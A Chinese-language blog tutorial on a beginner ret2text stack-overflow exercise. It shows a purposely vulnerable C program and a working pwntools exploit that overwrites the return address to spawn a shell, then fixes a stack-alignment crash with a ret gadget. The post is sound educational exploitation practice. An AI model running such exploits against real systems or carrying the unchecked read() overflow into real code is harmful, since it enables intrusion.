首次ret2text

理论基础:

栈空间分布

RE.RE 从零开始的逆向之路(Windows版)
最后一节,Linux libc下存在一点差异,但不影响


环境及工具版本

Ubuntu 20.04
glibc 2.31
Gdb: 9.2
Python: 3.8.10 (default, Jul 29 2024, 17:02:10) [GCC 9.4.0]
Pwndbg: 2024.02.14
Capstone: 5.0.1280
Unicorn: 2.0.1

题面

编译选项如下:
在这里插入图片描述源码如下:

#include <stdio.h>

char sh[]="/bin/sh";

int func(char *cmd){

        system(sh);
        return 0;

}


int dofunc(){

        char b[8] = {};
        puts("input:");
        read(0,b,0x100);
        //printf(b);
        return 0;

}

int main(){

        dofunc();
        return 0;

}


解题步骤:

一句话总结:payload = padding + *gadget

1.找到溢出点

查看代码,通过在dofunc函数中,read函数给b赋值明显可以产生溢出

2.构造payload

1)首先确认 b 在栈空间的位置,计算其与RIP的差。通过逆向分析可以看到b在$RBP-8,距RIP的位置(RBP+8)有16个字节,所以需要padding 16个字符
在这里插入图片描述
2) 确认gadget 。ret2text中,func函数中存在系统调用shell的代码。查看func函数指令的地址
在这里插入图片描述

3.完成exp

关于使用pwntools写exp可以参考pwntools简明手册,简单场景可以直接套用下面的模板


# -*- coding: utf-8 -*-
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
pwnfile= './ret2text' # 目标程序及其路径
io = process(pwnfile) # 为程序创建一个io进程对象
#io = remote('127.0.0.1',8899 ) # 打远程则开启这个并注释掉前两个
padding = 16 # payload中前面要填充的字符长度
payloadtext = 0x00401176
payload = padding * b'a' +  p64(payloadtext) 
# pwndbg附加调试
gdb.attach(io)
pause()
io.sendline(payload)
io.interactive() # 打通后获得一个交互式shell



实验结果:

通过脚本对b做溢出,将func的偏移地址溢出到rip_main的位置,但没能功获取到shell

pwndbg卡在do_system+364的位置,报错如下:

Program received signal SIGSEGV, Segmentation fault.
0x00007f7cbae85e3c in do_system (line=0x404040 <sh> "/bin/sh") at ../sysdeps/posix/system.c:148
148	../sysdeps/posix/system.c: 没有那个文件或目录.

问题定位

1.搜索了下SIGSEGV信号

SIGSEGV是一种信号,它表示“段错误(Segmentation Fault)”。当程序访问了未分配给它的内存区域,或者访问了已经释放的内存区域,或者访问了只读的内存区域,就会触发这个信号。这通常是由于程序中的编程错误导致的,例如指针错误、数组越界等。当程序收到SIGSEGV信号时,它会立即终止并退出。

do_system+364 这段代码是movaps xmmword ptr [rsp + 0x50], xmm0,rsp+0x50应该是正常操作,也可以查看下rbp、rsp的相对位置,有0x210的纵深,应该不是访问栈外空间导致的
在这里插入图片描述
在这里插入图片描述

2.没见过movaps xmmword ptr [rsp + 0x50], xmm0 这里的指令、数据类型、和寄存器,查一下这条指令,发现这个,结合上面我们看到rsp的地址并不是16字节的整数倍(最后一位不是0),问题应该就在这了。

movaps指令是一种SSE指令,用于将128位的数据从内存复制到XMM寄存器中。它的特殊之处在于,它要求内存地址和XMM寄存器的地址都必须是16字节对齐的,否则会导致运行时错误。此外,movaps指令是一种原子操作,不会被中断或者其他指令打断,保证了数据的完整性和一致性。因此,在使用movaps指令时,需要特别注意内存地址和XMM寄存器地址的对齐问题,以及保证指令的原子性。
MOVUPS指令

参考 解决办法 ,在*func前加一个ret或pop指令,即可,我们通过如下命令,在ret2text中找一个ret指令

iotsec@iotsec-VirtualBox:/mnt/reverse/chapter_2/ret2text$ ROPgadget --binary ./ret2text --only 'ret'
Gadgets information
============================================================
0x000000000040101a : ret

Unique gadgets found: 1

在exp中讲这个地址加到*func前,新的exp如下

# -*- coding: utf-8 -*-
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
pwnfile= './ret2text' # 要pwn的程序及其路径
io = process(pwnfile) # 为程序创建一个io进程对象
#io = remote('127.0.0.1',8899 ) # 打远程则开启这个并注释掉前两个
padding = 16 # payload中前面要填充的非关键数据个数,即溢出位前所有的输入
payloadtext = 0x00401176
payload = padding * b'a' + p64(0x0040101a) + p64(payloadtext)
# pwndbg附加调试
gdb.attach(io)
pause()
io.sendline(payload)
io.interactive() # 打通后获得一个交互式shell

最终结果

1.下断点到do_system+364,此时rsp是16的整数倍
在这里插入图片描述
2.正常获取到shell
在这里插入图片描述

  • 15
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值